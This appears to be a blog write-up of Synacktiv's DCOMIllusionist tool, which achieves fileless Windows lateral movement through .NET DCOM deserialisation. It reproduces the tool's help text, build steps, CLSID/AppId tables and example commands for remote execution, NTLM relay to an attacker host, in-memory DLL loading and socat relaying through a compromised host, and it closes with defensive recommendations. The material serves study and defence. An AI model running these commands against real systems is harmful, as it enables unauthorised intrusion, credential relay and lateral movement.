DCOMIllusionist — Fileless Windows Lateral Movement via .NET DCOM Server Deserialization

DCOMIllusionist — Fileless Windows Lateral Movement via .NET DCOM Server Deserialization

Original text: synacktiv/DCOMIllusionist README on GitHub — by Synacktiv, June 2026. Command-line help, CLSID/AppId lists, build commands and short code snippets below are reproduced verbatim with attribution. Diagrams are rendered from the repository’s img/ SVGs.

Executive Summary

DCOMIllusionist is Synacktiv’s open-source C# implementation of a .NET-DCOM-deserialisation lateral-movement primitive originally written up by James Forshaw — the same general technique that underpinned the “Potato” privilege-escalation family. Given local administrator on both the attacker host and the target Windows machine, plus network reachability from target back to attacker, the tool remotely flips a few registry keys so that a chosen .NET CLSID is exposed as a DCOM server, forces the server to fetch a serialised object from the attacker, and lets the standard .NET deserialisation path turn that object into arbitrary in-memory code execution. Nothing is written to disk on the target.

The interesting parts — beyond “classic DCOM activation but with deserialisation as the sink” — are the operational features Synacktiv layered on top. Cross-session exploitation works through the session-moniker mechanism, so you can land a command in the security context of a different user already logged on (the classic domain-admin-in-session-3 scenario). The HTTP gadget (--curl) turns the target into an NTLM-relay source against an attacker-controlled ntlmrelayx.py — useful for relaying that domain admin’s authentication into something useful. The DLL loader (--load-dll) executes an arbitrary .NET assembly entirely in memory. There is an indirect-access mode (--listen) that uses an intermediate socat relay when the target can’t talk to the attacker directly. There’s a low-privilege variant (--hku + --fake-clsid) for users who are only in Performance Log Users or Distributed COM Users. And the registry surgery is backed by an automatic backup-and-restore step so the box is reverted on exit.

Where It Came From

The technique itself is not new. James Forshaw originally described — in two pieces of research that the README links — that when a DCOM server written in .NET receives a remote object, it queries the IManagedObject DCOM interface. If the interface is present, the server invokes GetSerializedBuffer on it. The client (i.e. anything claiming to implement the interface) responds with a serialised buffer, which the server then deserialises. .NET’s BinaryFormatter happily turns that buffer into arbitrary objects, and from there into arbitrary code — the entire ysoserial.net catalogue of deserialisation gadgets is in scope.

Forshaw described the technique as a privilege-escalation primitive. DCOMIllusionist’s contribution is adapting it for lateral movement — specifically by remotely re-configuring the target’s registry to expose a chosen .NET CLSID over DCOM in the first place. By default, no .NET DCOM servers are exposed on the Windows Server versions Synacktiv tested. The tool fixes that on the way in and cleans up on the way out. Picking the right AppID also enables the cross-session-via-session-moniker variant.

Building It

A release binary is published in the repository, or you can build from source. The repository ships as a .NET project; the README’s build steps are:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

Usage at a Glance

The canonical invocation is a runas /netonly shell from the attacker host followed by the DCOMIllusionist call, naming the target, the session to land in, and an attack mode:

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

Administrative access is required on both the attacking host (via an elevated shell) and the target machine for the standard flow. The full help text is dense; the README’s own listing is the cleanest reference and is reproduced verbatim below.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | 
  --file-write-src | --load-dll | --yso-b64 | --test-network | 
  --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU 
                                    instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute 
                                    (including namespace)
      --dll-method <value>          Static Method in the class to execute 
                                    (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to 
                                    attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen 
    other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" 
    --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - 
    System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - 
    System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - 
    Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - 
    Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - 
    CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - 
    User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - 
    Remote Cloud Store Factory                               (Interactive user)

The CLSID and AppId tables matter operationally. The defaults are chosen to work without further configuration, but for cross-session attacks you need an AppID configured to run under the interactive user’s identity — the two such AppIDs the tool ships with are User Account Control Settings and Remote Cloud Store Factory.

Cross-Session Execution: --session

The --session switch is what makes this tool more interesting than “yet another DCOM execution vehicle.” By choosing an AppID configured to run under the interactive user’s identity (the tool defaults to the User Account Control Settings AppID for this case — no need to supply --appid manually), commands execute in the security context of whichever user is logged on in the chosen session. That covers the canonical “domain admin already has an interactive session somewhere on a server” pattern that internal pentesters live for.

The constraint Synacktiv flags is that cross-session mode only works if the attacking machine is domain-joined. The user’s authentication is performed against the attacker host, and accepting that authentication requires domain membership.

Listing Sessions: --list-sessions

Before deciding which session to attack, you need to know what sessions exist. --list-sessions uses WTSEnumerateSessions to enumerate the target’s interactive and active sessions remotely.

Indirect Access via Relay: --listen

The exploit requires the target to reach the attacker host so that it can fetch the serialised gadget object. If a network policy or a firewall blocks that path, the standard exploitation fails. --listen exists to point the target at an intermediate host the attacker has already compromised, which forwards traffic onward.

socat relay configuration between compromised, intermediate and attacker
DCOMIllusionist’s relay topology: the compromised intermediate machine listens on 135 and on the chosen port, forwarding both onward to the actual attacker host. Source: original repository.

The classic minimal setup uses socat on the intermediate host:

$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337

Then on the attacker box, point DCOMIllusionist at the compromised intermediate as the listener while the actual target stays as -t:

PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

The Identity-from-runas Edge Case: --attacker-sid

When the operator runs the tool from a runas /netonly shell, Windows can’t resolve the identity automatically because the shell’s local primary identity is one user and the network identity is another. The tool exposes --attacker-sid so the operator can supply the SID explicitly. Without it, the registry-permission step won’t know whose SID to grant access to.

Command Execution: --exec / --ps-exec

The simplest payload is “run a binary.” --exec runs an arbitrary binary on the target; --exec-args supplies arguments:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

--ps-exec is a sugar wrapper that runs PowerShell with the same effect — --ps-exec calc is shorthand for the longer invocation above.

HTTP Gadget for NTLM Relay: --curl

The --curl mode is one of the more interesting capabilities. Combined with cross-session execution, it gives an authenticated HTTP request from a privileged session on the target. If you arrange for that request to land on an attacker-controlled ntlmrelayx.py listener, the user’s NTLM authentication can be relayed to whatever back-end ntlmrelayx can reach — LDAP, SMB, Exchange Web Services, anything that accepts NTLM. The example invocation is the canonical “steal the domain admin’s session via NTLM relay” chain:

PS F:> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

In-Memory DLL Load: --load-dll

An arbitrary .NET DLL can be loaded directly into the remote process without ever touching disk. The README’s sample payload is intentionally trivial — spawn calc — but the pattern generalises to any C# class with a static method:

// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

By default the static Run method is executed; --dll-method overrides that.

Pre-Built Gadgets: --yso-b64

For more elaborate gadget chains, the tool accepts a Base64-encoded ysoserial.net payload via --yso-b64. The payload is wrapped in a RolePrincipal instance and deserialised by the target. The README’s only caveat: this only works with BinaryFormatter — the modern System.Text.Json path is not in scope.

Confidence Check: --test-network

Before running the real attack, --test-network does the full exploit dance with a dummy payload, confirming that the target can actually reach the attacker host. Useful when the operator is unsure whether --listen indirection is needed.

Low-Privilege Variant: --hku and --fake-clsid

The standard flow requires local admin on the target so that the tool can edit HKLM. The --hku switch shifts the work to HKEY_USERS instead, making the technique reachable from a user who’s a member of Performance Log Users or Distributed COM Users — groups that grant DCOM access without full admin. In that scenario the tool needs an explicit --attacker-sid and a writeable CLSID; the easy way is to mint a fresh fake CLSID + AppId with --fake-clsid so permissions on the AppId allow the attacker SID to activate the DCOM server.

PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

The --fake-clsid bootstrap step prints the fresh identifiers so the operator can pin them in subsequent invocations:

PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

Technical Details — The .NET DCOM Deserialisation Trick

DCOM exploitation flow with standard marshaller approach
DCOMIllusionist’s exploitation flow — forged OBJREF using the standard marshaller GUID, IManagedObject::GetSerializedBuffer round-trip, deserialisation in-process. Source: original repository.

The core trick is straightforward to state and clever in its details:

  • A .NET DCOM server, on receiving a remote object, queries it for the IManagedObject interface. If the interface is supported, the server calls GetSerializedBuffer.
  • The client replies with a serialised object. The server deserialises it. BinaryFormatter ends up turning the buffer into arbitrary objects — and, via the well-known ysoserial.net gadget chains, into arbitrary code execution.
  • For the deserialisation to happen, the victim machine has to talk back to the attacker host to fetch the serialised buffer in the first place — which is why the indirect-access mode (--listen) exists for restricted networks.

The tooling-craft detail that matters: by forging arbitrary DCOM OBJREF structures, the attacker redirects the target onto any remote endpoint. Forshaw’s original PoC — the foundation for the “Potato” family — used the PointerMoniker GUID to marshal arbitrary objects. That triggered authentication but failed in the subsequent steps. DCOMIllusionist instead uses the standard marshaller GUID, which lets it craft fully functional arbitrary OBJREFs — the missing piece that turns the technique into a usable remote-execution primitive.

The other necessary engineering work is that no .NET DCOM servers are exposed by default on the Windows Server versions Synacktiv tested. The tool fixes that by remotely modifying the Windows registry to associate a custom AppID with a .NET CLSID, which surfaces the class over DCOM. Picking the right AppID at this step also enables cross-session activation through the session moniker.

An interesting authentication subtlety: when the chosen AppID is not configured to run as the interactive user, the target’s authentication attempt against the attacker host arrives as Anonymous. The attacker host must therefore accept anonymous DCOM authentication, which requires loosening its default DCOM access permissions. When the AppID is tied to the interactive user, the authentication is the user’s — which only works if the attacker host is domain-joined. To accept that authentication transparently, the tool temporarily adds the Everyone group to the attacker host’s default DCOM access permissions for the duration of the attack.

Only the access permissions are modified; launch and activation permissions are not touched. All changes are reverted once the operation completes. If something goes wrong mid-flow, a backup of the original settings is created on disk and can be restored via --restore-backup.

Caution — from the README: the attacker host is temporarily left in a more permissive DCOM-access-permission state during the exploit. All changes are reverted afterwards, but a crashed run can leave that posture in place. The --restore-backup path is the documented recovery.

Acknowledgements (per the README)

  • @tiraniddo — James Forshaw’s original research, plus oleviewdotnet, large parts of which appear in this and other public C# offensive tools.
  • @nt0x4 — the TextFormattingRunProperties gadget approach for in-memory DLL loading, reused for the --curl and --file-write paths.
  • @cube0x0KrbRelay.
  • @pwntesterysoserial.net.
  • Dylan Tran and Jimmy Bayne of IBM X-Force Red, whose ForsHops is acknowledged as an inspiration.

Key Takeaways

  • The primitive is .NET BinaryFormatter deserialisation on the DCOM-server side, triggered through IManagedObject::GetSerializedBuffer. Any RCE-flavoured ysoserial.net gadget chain becomes a remote-execution primitive on the target.
  • Lateral movement is enabled by remotely re-wiring the target’s registry to associate a .NET CLSID with a chosen AppID, exposing the class over DCOM where it normally isn’t. The registry edits are reverted on exit.
  • Cross-session execution lands commands in the security context of whichever user is logged on in the chosen session. The canonical “domain admin already has an interactive session” pattern collapses to --session N. Attacker host must be domain-joined for that variant.
  • The --curl mode turns the target into an authenticated HTTP client at ntlmrelayx’s mercy, which is the most operationally interesting capability for chaining into NTLM-relay-driven privilege escalation.
  • The DLL loader runs arbitrary .NET assemblies entirely in memory. No file is written to disk on the target, so file-based detection has nothing to grab.
  • The --listen relay accommodates restricted networks by routing through an intermediate compromised host on ports 135 and the chosen non-standard DCOM port. socat is the documented enabler.
  • Low-privilege exploitation via --hku + --fake-clsid brings membership in Performance Log Users or Distributed COM Users into the attack surface — you don’t strictly need local admin on the target.

Defensive Recommendations

  • Limit who can edit the relevant registry hives remotely. The entire attack hinges on writing to HKLM\SOFTWARE\Classes\AppID or HKLM\SOFTWARE\Classes\CLSID on the target. Audit which accounts have remote-registry write access; the standard hardening guidance — disable the Remote Registry service where it isn’t needed — remains the highest-leverage move.
  • Membership in Distributed COM Users and Performance Log Users is a real attack surface. The --hku + --fake-clsid path means these groups effectively grant a foothold for in-memory code execution. Treat them like privileged groups in your IAM model.
  • Hunt for inbound DCOM activations on non-standard ports. DCOMIllusionist defaults to 49765 and supports any -p value. Sysmon network connections on port 135 followed by an activation handshake to a high port from a remote host, into a process other than svchost.exe’s usual DCOM handlers, are high-fidelity alerts.
  • Alert on Sysmon Event ID 13 (RegistrySetValue) under HKLM\SOFTWARE\Classes\AppID\{...} from svchost.exe (Remote Registry). The exploitation creates fresh AppID/CLSID associations under those keys; legitimate provisioning shouldn’t arrive through that path on most fleets.
  • Watch for BinaryFormatter deserialisation telemetry inside .NET DCOM host processes. .NET deserialisation events are observable via ETW; events firing in dllhost.exe children with a remote network parentage on the COM activation are the signature.
  • Block BinaryFormatter use in your own .NET code. Microsoft has been moving the entire ecosystem away from BinaryFormatter. If your internal services don’t already use System.Text.Json or another sandboxed serialiser, prioritise that migration — same primitive shows up in many other code paths.
  • Block outbound DCOM (TCP 135) and outbound DCOM-activated high-port traffic at the host firewall for workstations and member servers that have no business making outbound DCOM calls. The --listen trick assumes target-to-attacker reachability; egress filtering breaks the chain.
  • Domain-join the attack-detection telemetry pipeline, not just the production hosts. Cross-session attacks rely on the attacker host being domain-joined; mature SOCs already monitor for unfamiliar domain-joined machines accepting NTLM authentication, but it’s worth double-checking the alerting fires on a fresh machine joining the domain from an operator’s netbook.

Conclusion

DCOMIllusionist is best understood as the lateral-movement counterpart to the “Potato” family of privilege-escalation tools — same .NET DCOM deserialisation primitive, applied across a network boundary instead of within a single host, with a clean set of operational features (cross-session execution, HTTP-gadget-driven NTLM relay, in-memory DLL load, low-privilege variant, network-relay fallback) layered on top. From an offensive engineering perspective, the standard-marshaller-GUID trick that turns Forshaw’s “trigger authentication” PoC into “trigger arbitrary code execution” is the load-bearing piece of work. From a defensive perspective, the entire attack surface is registry-permission-and-DCOM-activation hygiene, which is exactly the long tail of Windows hardening guidance most fleets only ever apply selectively. The full source and binary releases are on Synacktiv’s repository.

Original text: synacktiv/DCOMIllusionist on GitHub by Synacktiv.

Comments are closed.